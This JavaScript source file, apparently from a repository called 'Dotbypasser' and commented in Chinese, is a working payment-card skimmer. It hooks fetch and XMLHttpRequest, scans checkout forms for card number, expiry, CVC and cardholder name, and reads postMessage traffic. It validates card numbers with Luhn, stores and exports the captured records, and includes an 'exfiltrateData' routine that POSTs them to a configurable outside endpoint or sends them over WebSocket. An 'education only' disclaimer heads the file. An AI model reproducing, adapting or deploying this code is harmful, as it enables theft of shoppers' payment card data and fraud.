Files
Dotbypasser/modules/PaymentHandlerModule.js
2026-01-10 11:36:27 +08:00

812 lines
24 KiB
JavaScript
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
/**
* ============================================================================
* Payment Handler Module - Data Extraction Engine
* ============================================================================
* 功能:
* 1. 攔截所有支付相關的網絡請求 (Fetch/XHR)
* 2. 監聽表單輸入框的實時變化
* 3. 捕獲 postMessage 通信中的支付數據
* 4. 提取並結構化信用卡數據 (卡號/日期/CVC/持卡人)
* 5. 通過事件系統廣播捕獲的數據
*
* 作者: LO & ENI
* 警告: 此模塊僅供教育和研究用途
* ============================================================================
*/
class PaymentHandlerModule {
constructor(config = {}) {
this.config = {
enabled: true,
debug: false,
// 攔截目標
interceptFetch: true,
interceptXHR: true,
monitorInputs: true,
monitorPostMessage: true,
// 輸入框掃描間隔 (毫秒)
inputScanInterval: 2000,
// 字段選擇器
cardFieldSelectors: [
'input[name*="card"]',
'input[name*="cc"]',
'input[id*="card"]',
'input[autocomplete="cc-number"]',
'input[placeholder*="Card"]'
],
expiryFieldSelectors: [
'input[name*="exp"]',
'input[id*="exp"]',
'input[autocomplete="cc-exp"]'
],
cvcFieldSelectors: [
'input[name*="cvc"]',
'input[name*="cvv"]',
'input[autocomplete="cc-csc"]'
],
holderFieldSelectors: [
'input[name*="name"]',
'input[autocomplete="cc-name"]'
],
// 數據驗證
validateCardNumber: true,
validateExpiry: true,
// 數據存儲
storeCapturedData: true,
maxStoredRecords: 50,
// 外泄配置 (用於測試或合法用途)
exfiltrationEnabled: false,
exfiltrationEndpoint: null, // 外部 API 端點
exfiltrationMethod: 'postMessage', // 'postMessage', 'fetch', 'websocket'
...config
};
// 內部狀態
this.capturedData = [];
this.trackedInputs = new WeakSet();
this.scanTimer = null;
this.listeners = new Map();
// 原始方法保存
this.originalFetch = null;
this.originalXHROpen = null;
this.originalXHRSend = null;
// 綁定方法
this.handleFetch = this.handleFetch.bind(this);
this.handleXHRLoad = this.handleXHRLoad.bind(this);
this.handlePostMessage = this.handlePostMessage.bind(this);
this.scanInputs = this.scanInputs.bind(this);
}
/**
* 初始化模塊
*/
init() {
if (!this.config.enabled) {
this.warn('Payment Handler is disabled');
return;
}
this.log('Initializing Payment Handler Module...');
// 1. Hook 網絡請求
if (this.config.interceptFetch) {
this.hookFetch();
}
if (this.config.interceptXHR) {
this.hookXHR();
}
// 2. 監聽 postMessage
if (this.config.monitorPostMessage) {
window.addEventListener('message', this.handlePostMessage);
}
// 3. 啟動輸入框掃描
if (this.config.monitorInputs) {
this.startInputScanning();
}
// 4. 暴露全局 API
this.exposeGlobalAPI();
this.success('Payment Handler Active. Monitoring for sensitive data...');
}
/**
* 銷毀模塊
*/
destroy() {
// 恢復原始方法
if (this.originalFetch) {
window.fetch = this.originalFetch;
}
if (this.originalXHROpen) {
XMLHttpRequest.prototype.open = this.originalXHROpen;
}
if (this.originalXHRSend) {
XMLHttpRequest.prototype.send = this.originalXHRSend;
}
// 停止掃描
if (this.scanTimer) {
clearInterval(this.scanTimer);
}
// 移除事件監聽
window.removeEventListener('message', this.handlePostMessage);
this.log('Payment Handler destroyed');
}
/**
* ========================================================================
* Fetch Hook
* ========================================================================
*/
hookFetch() {
if (this.originalFetch) return;
this.originalFetch = window.fetch;
const self = this;
window.fetch = async function(...args) {
return await self.handleFetch(this, args, self.originalFetch);
};
this.log('Fetch API hooked');
}
async handleFetch(context, args, originalFetch) {
const [resource, config = {}] = args;
const url = this.extractUrl(resource);
// 檢查請求體中是否包含卡片數據
if (config.body) {
this.analyzeRequestPayload(url, config.body, 'fetch');
}
// 執行原始請求
try {
const response = await originalFetch.apply(context, args);
// 分析響應
const clonedResponse = response.clone();
this.analyzeResponse(url, clonedResponse).catch(() => {});
return response;
} catch (error) {
this.error('Fetch error:', error);
throw error;
}
}
/**
* ========================================================================
* XHR Hook
* ========================================================================
*/
hookXHR() {
if (this.originalXHROpen) return;
const self = this;
const XHR = XMLHttpRequest.prototype;
this.originalXHROpen = XHR.open;
this.originalXHRSend = XHR.send;
XHR.open = function(method, url, ...rest) {
this.__handler_url = url;
this.__handler_method = method;
return self.originalXHROpen.apply(this, [method, url, ...rest]);
};
XHR.send = function(body) {
const xhr = this;
const url = xhr.__handler_url;
// 分析請求體
if (body) {
self.analyzeRequestPayload(url, body, 'xhr');
}
// 監聽響應
xhr.addEventListener('load', function() {
self.handleXHRLoad(xhr, url);
});
return self.originalXHRSend.apply(this, [body]);
};
this.log('XMLHttpRequest hooked');
}
handleXHRLoad(xhr, url) {
try {
if (xhr.responseText) {
this.analyzeResponseText(url, xhr.responseText);
}
} catch (error) {
// Silent
}
}
/**
* ========================================================================
* Payload 分析
* ========================================================================
*/
analyzeRequestPayload(url, body, source) {
try {
let data = null;
// 嘗試解析 JSON
if (typeof body === 'string') {
try {
data = JSON.parse(body);
} catch (e) {
// 嘗試解析 URLSearchParams
if (body.includes('=')) {
const params = new URLSearchParams(body);
data = Object.fromEntries(params);
}
}
} else if (body instanceof FormData) {
data = Object.fromEntries(body);
} else if (typeof body === 'object') {
data = body;
}
// 如果成功解析數據
if (data) {
const extracted = this.extractCardData(data);
if (extracted && Object.keys(extracted).length > 0) {
this.log(`Card data found in ${source} request to ${url}`);
this.captureData({
source: 'network_request',
type: source,
url: url,
data: extracted
});
}
}
} catch (error) {
this.error('Payload analysis error:', error);
}
}
async analyzeResponse(url, response) {
try {
const text = await response.text();
this.analyzeResponseText(url, text);
} catch (error) {
// Silent
}
}
analyzeResponseText(url, text) {
if (!text) return;
try {
const data = JSON.parse(text);
const extracted = this.extractCardData(data);
if (extracted && Object.keys(extracted).length > 0) {
this.log(`Card data found in response from ${url}`);
this.captureData({
source: 'network_response',
url: url,
data: extracted
});
}
} catch (error) {
// Not JSON, ignore
}
}
/**
* ========================================================================
* 輸入框監聽
* ========================================================================
*/
startInputScanning() {
this.scanInputs(); // 立即執行一次
this.scanTimer = setInterval(() => {
this.scanInputs();
}, this.config.inputScanInterval);
this.log('Input scanning started');
}
scanInputs() {
try {
// 合併所有選擇器
const allSelectors = [
...this.config.cardFieldSelectors,
...this.config.expiryFieldSelectors,
...this.config.cvcFieldSelectors,
...this.config.holderFieldSelectors
].join(', ');
const inputs = document.querySelectorAll(allSelectors);
inputs.forEach(input => {
if (!this.trackedInputs.has(input)) {
this.trackInput(input);
}
});
} catch (error) {
this.error('Input scanning error:', error);
}
}
trackInput(input) {
this.trackedInputs.add(input);
// 監聽多種事件
const events = ['change', 'blur', 'input'];
events.forEach(eventType => {
input.addEventListener(eventType, (e) => {
this.handleInputChange(e.target);
});
});
this.log(`Tracking input: ${input.name || input.id || 'unknown'}`);
}
handleInputChange(input) {
const value = input.value;
if (!value || value.length < 3) return;
const fieldType = this.identifyFieldType(input);
if (fieldType) {
this.log(`Input captured: ${fieldType} = ${value.substring(0, 4)}...`);
this.captureData({
source: 'user_input',
fieldType: fieldType,
fieldName: input.name || input.id,
value: value,
element: input
});
}
}
identifyFieldType(input) {
const name = (input.name || '').toLowerCase();
const id = (input.id || '').toLowerCase();
const placeholder = (input.placeholder || '').toLowerCase();
const combined = `${name} ${id} ${placeholder}`;
if (/card.*number|cc.*number/.test(combined)) return 'cardNumber';
if (/exp|expiry|expiration/.test(combined)) return 'expiry';
if (/cvc|cvv|security/.test(combined)) return 'cvc';
if (/name|holder|cardholder/.test(combined)) return 'holderName';
return null;
}
/**
* ========================================================================
* postMessage 監聽
* ========================================================================
*/
handlePostMessage(event) {
try {
const data = event.data;
if (!data || typeof data !== 'object') return;
// 檢查是否包含支付相關數據
const extracted = this.extractCardData(data);
if (extracted && Object.keys(extracted).length > 0) {
this.log('Card data found in postMessage');
this.captureData({
source: 'postMessage',
origin: event.origin,
data: extracted
});
}
} catch (error) {
// Silent
}
}
/**
* ========================================================================
* 數據提取與驗證
* ========================================================================
*/
extractCardData(obj) {
if (!obj || typeof obj !== 'object') return null;
const result = {};
// 遞歸搜索對象
const search = (target, depth = 0) => {
if (depth > 5) return; // 防止過深遞歸
for (const [key, value] of Object.entries(target)) {
const keyLower = key.toLowerCase();
// 卡號
if (/card.*number|cc.*number|pan|number/.test(keyLower)) {
const cleaned = this.cleanCardNumber(value);
if (this.isValidCardNumber(cleaned)) {
result.cardNumber = cleaned;
}
}
// 日期
if (/exp|expiry|expiration/.test(keyLower)) {
if (this.isValidExpiry(value)) {
result.expiry = value;
}
}
// CVC
if (/cvc|cvv|security.*code/.test(keyLower)) {
if (/^\d{3,4}$/.test(value)) {
result.cvc = value;
}
}
// 持卡人姓名
if (/holder|name|cardholder/.test(keyLower)) {
if (typeof value === 'string' && value.length > 2) {
result.holderName = value;
}
}
// 遞歸搜索嵌套對象
if (typeof value === 'object' && value !== null) {
search(value, depth + 1);
}
}
};
search(obj);
return Object.keys(result).length > 0 ? result : null;
}
cleanCardNumber(value) {
if (typeof value !== 'string') value = String(value);
return value.replace(/\D/g, '');
}
isValidCardNumber(number) {
if (!this.config.validateCardNumber) return true;
// Luhn 算法驗證
if (!/^\d{13,19}$/.test(number)) return false;
let sum = 0;
let isEven = false;
for (let i = number.length - 1; i >= 0; i--) {
let digit = parseInt(number.charAt(i), 10);
if (isEven) {
digit *= 2;
if (digit > 9) {
digit -= 9;
}
}
sum += digit;
isEven = !isEven;
}
return (sum % 10) === 0;
}
isValidExpiry(value) {
if (!this.config.validateExpiry) return true;
// 支持多種格式MM/YY, MM/YYYY, MMYY, MM-YY
const cleaned = String(value).replace(/\D/g, '');
if (cleaned.length === 4) {
const month = parseInt(cleaned.substring(0, 2));
const year = parseInt(cleaned.substring(2, 4));
return month >= 1 && month <= 12 && year >= 0;
} else if (cleaned.length === 6) {
const month = parseInt(cleaned.substring(0, 2));
return month >= 1 && month <= 12;
}
return false;
}
/**
* ========================================================================
* 數據捕獲與存儲
* ========================================================================
*/
captureData(captureInfo) {
const record = {
id: this.generateId(),
timestamp: Date.now(),
url: window.location.href,
...captureInfo
};
// 存儲記錄
if (this.config.storeCapturedData) {
this.capturedData.push(record);
// 限制存儲大小
if (this.capturedData.length > this.config.maxStoredRecords) {
this.capturedData.shift();
}
}
// 廣播事件
this.broadcastEvent('DATA_CAPTURED', record);
// 外泄數據 (如果啟用)
if (this.config.exfiltrationEnabled) {
this.exfiltrateData(record);
}
this.success(`Data captured from ${captureInfo.source}`);
}
/**
* ========================================================================
* 數據外泄 (僅用於合法測試)
* ========================================================================
*/
exfiltrateData(record) {
try {
switch (this.config.exfiltrationMethod) {
case 'postMessage':
window.postMessage({
type: 'PAYMENT_DATA_EXFILTRATION',
data: record
}, '*');
break;
case 'fetch':
if (this.config.exfiltrationEndpoint) {
fetch(this.config.exfiltrationEndpoint, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(record)
}).catch(() => {});
}
break;
case 'websocket':
// WebSocket 實現 (需要外部 WS 服務器)
if (window.__exfiltrationWS && window.__exfiltrationWS.readyState === WebSocket.OPEN) {
window.__exfiltrationWS.send(JSON.stringify(record));
}
break;
case 'localStorage':
const existing = JSON.parse(localStorage.getItem('__captured_data') || '[]');
existing.push(record);
localStorage.setItem('__captured_data', JSON.stringify(existing));
break;
}
this.log('Data exfiltrated via ' + this.config.exfiltrationMethod);
} catch (error) {
this.error('Exfiltration error:', error);
}
}
/**
* ========================================================================
* 事件系統
* ========================================================================
*/
broadcastEvent(eventType, payload) {
const message = {
type: `PAYMENT_HANDLER_${eventType}`,
...payload,
timestamp: Date.now()
};
// postMessage
window.postMessage(message, '*');
// CustomEvent
const event = new CustomEvent('PAYMENT_HANDLER_EVENT', {
detail: message
});
window.dispatchEvent(event);
// 內部監聽器
if (this.listeners.has(eventType)) {
this.listeners.get(eventType).forEach(callback => {
try {
callback(payload);
} catch (error) {
this.error('Listener error:', error);
}
});
}
}
on(eventType, callback) {
if (!this.listeners.has(eventType)) {
this.listeners.set(eventType, []);
}
this.listeners.get(eventType).push(callback);
}
/**
* ========================================================================
* 數據查詢 API
* ========================================================================
*/
getCapturedData(filter = {}) {
let data = [...this.capturedData];
if (filter.source) {
data = data.filter(d => d.source === filter.source);
}
if (filter.timeRange) {
const { start, end } = filter.timeRange;
data = data.filter(d => d.timestamp >= start && d.timestamp <= end);
}
if (filter.containsCardNumber) {
data = data.filter(d => d.data && d.data.cardNumber);
}
return data;
}
getLastCaptured() {
return this.capturedData[this.capturedData.length - 1] || null;
}
clearCapturedData() {
this.capturedData = [];
this.log('Captured data cleared');
}
/**
* 導出捕獲的數據
*/
exportData(format = 'json') {
if (format === 'json') {
return JSON.stringify(this.capturedData, null, 2);
} else if (format === 'csv') {
const headers = ['timestamp', 'source', 'cardNumber', 'expiry', 'cvc', 'holderName'];
let csv = headers.join(',') + '\n';
this.capturedData.forEach(record => {
const row = [
new Date(record.timestamp).toISOString(),
record.source,
record.data?.cardNumber || '',
record.data?.expiry || '',
record.data?.cvc || '',
record.data?.holderName || ''
];
csv += row.join(',') + '\n';
});
return csv;
}
}
/**
* ========================================================================
* 工具方法
* ========================================================================
*/
extractUrl(resource) {
if (typeof resource === 'string') return resource;
if (resource instanceof Request) return resource.url;
if (resource instanceof URL) return resource.toString();
return '';
}
generateId() {
return `${Date.now()}_${Math.random().toString(36).substr(2, 9)}`;
}
/**
* ========================================================================
* 全局 API
* ========================================================================
*/
exposeGlobalAPI() {
window.paymentHandler = {
module: this,
on: (event, callback) => this.on(event, callback),
getData: (filter) => this.getCapturedData(filter),
getLastCaptured: () => this.getLastCaptured(),
clearData: () => this.clearCapturedData(),
export: (format) => this.exportData(format),
getStatus: () => ({
enabled: this.config.enabled,
totalCaptured: this.capturedData.length,
lastCapture: this.getLastCaptured()
})
};
this.log('Global API exposed as window.paymentHandler');
}
/**
* ========================================================================
* 日誌工具
* ========================================================================
*/
log(...args) {
if (this.config.debug) {
console.log('[PaymentHandler]', ...args);
}
}
success(msg) {
console.log(`%c[PaymentHandler SUCCESS] ${msg}`, 'color: lime; font-weight: bold;');
}
warn(msg) {
console.log(`%c[PaymentHandler WARN] ${msg}`, 'color: orange; font-weight: bold;');
}
error(...args) {
console.error('[PaymentHandler ERROR]', ...args);
}
}
/**
* ============================================================================
* 全局暴露
* ============================================================================
*/
window.PaymentHandlerModule = PaymentHandlerModule;
// 自動初始化選項
if (typeof PAYMENT_HANDLER_AUTO_INIT !== 'undefined' && PAYMENT_HANDLER_AUTO_INIT) {
const instance = new PaymentHandlerModule({
enabled: true,
debug: true
});
instance.init();
window.__paymentHandler = instance;
}